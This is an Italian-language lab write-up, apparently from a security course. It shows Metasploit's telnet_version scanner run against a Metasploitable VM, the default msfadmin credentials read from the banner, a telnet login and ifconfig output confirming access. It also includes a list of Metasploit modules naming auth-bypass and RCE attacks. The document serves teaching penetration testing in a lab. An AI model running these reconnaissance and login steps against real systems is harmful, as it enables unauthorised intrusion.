Attacchi con Metasploit

Richiesta: utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Differenza Exploit e Auxiliary

Modulo Exploit: Metodo che sfrutta una vulnerabilità presente in un sistema attraverso l'esecuzione di un payload. Mira a ottenere il controllo del sistema o eseguire codice arbitrario su di esso.

Auxiliary: Questa categoria è più ampia. Gli auxiliary includono una varietà di strumenti che non sono necessariamente progettati per sfruttare direttamente le vulnerabilità, né di eseguire un payload. Possono includere scanner, sniffer e altri strumenti utili per raccogliere informazioni. Non sono direttamente finalizzati a ottenere l'accesso a un sistema, ma possono aiutare in fasi diverse di un test di penetrazione.

Simulazione attacco

Utilizziamo il modulo auxiliary per ottenere informazioni sensibili sfruttando la vulnerabilità del servizio telnet.

1°Step: Cerchiamo le versioni dei servizi telnet su Metasploit, verificando quale possono essere attaccate con il modulo auxiliary:

```
   6   auxiliary/scanner/telnet/lantronix_telnet_version                          n
ormal  No     Lantronix Telnet Service Banner Detection
   7   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                2010-12-21     n
ormal  No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8   auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass  2021-09-06     n
ormal  Yes    Netgear PNPX_GetShareFolderList Authentication Bypass
   9   auxiliary/admin/http/netgear_r6700_pass_reset               2020-06-15     n
ormal  Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
   10  auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce   2021-04-21     n
ormal  Yes    Netgear R7000 backup.cgi Heap Overflow RCE
   11  auxiliary/scanner/telnet/telnet_ruggedcom                          n
ormal  No     RuggedCom Telnet Password Generator
   12  auxiliary/scanner/telnet/satel_cmd_exec                     2017-04-07     n
ormal  No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vuln
erability
   13  auxiliary/scanner/telnet/telnet_login                              n
ormal  No     Telnet Login Check Scanner
   14  auxiliary/scanner/telnet/telnet_version                            n
ormal  No     Telnet Service Banner Detection
   15  auxiliary/scanner/telnet/telnet_encrypt_overflow                   n
ormal  No     Telnet Service Encryption Key ID Overflow Detection


Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scann
er/telnet/telnet_encrypt_overflow

msf6 >
```

Ne abbiamo trovate alcune versioni, ovviamente escludiamo il test di sistemi che non riguardano la macchina target.

2°Step: Testiamo il numero 14 provando a sfruttare la sua vulnerabilità per carpire informazioni:

```
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.60:23       - 192.168.1.60:23 TELNET _                     _       _ _           _
     _                ____  \x0a _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___   _
 \ \x0a| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |\x0a| | | |
 | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | | |_) | | |  __// __/ \x0a|_| |_| |_|\__|\__\_
_,_|\___/ .__/|_|\___/|_|\__\__,_|\__.__/|_|\___|_____|\x0a                          |_|
                                                \x0a\x0a\x0aWarning: Never expose this VM to an untru
sted network!\x0a\x0aContact: msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin
to get started\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.60:23       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) >
```

Sono state individuate credenziali fondamentali, utilizzabili per effettuare l'accesso da remoto tramite telnet.

3°Step: Effettuiamo la connessione ed eseguiamo il login utilizzando le credenziali fornite dall'attacco precedente.

```
┌──(kali㉿kali)-[~]
└─$ telnet 192.168.1.60
Trying 192.168.1.60 ...
Connected to 192.168.1.60.
Escape character is '^]'.
                                _                  _       _ _        _     _
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___  | |
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ | |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __/ |_|
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___| (_)
                            |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login: msfadmin
Password:
Last login: Tue Jan 23 03:53:54 EST 2024 from 192.168.1.74 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
```

4°Step: Attraverso la shell, eseguiamo un check per assicurarci che siamo all'interno della macchina target. Utilizzeremo ifconfig.

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4b:d6:d8
          inet addr:192.168.1.60  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: 2001:b07:6473:f0f0:a00:27ff:fe4b:d6d8/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe4b:d6d8/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15475 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7605 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:1478320 (1.4 MB)  TX bytes:539508 (526.8 KB)
          Base address:0xd240 Memory:f0820000-f0840000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1097 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1097 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:512417 (500.4 KB)  TX bytes:512417 (500.4 KB)

msfadmin@metasploitable:~$
```

L'exploit ha avuto successo.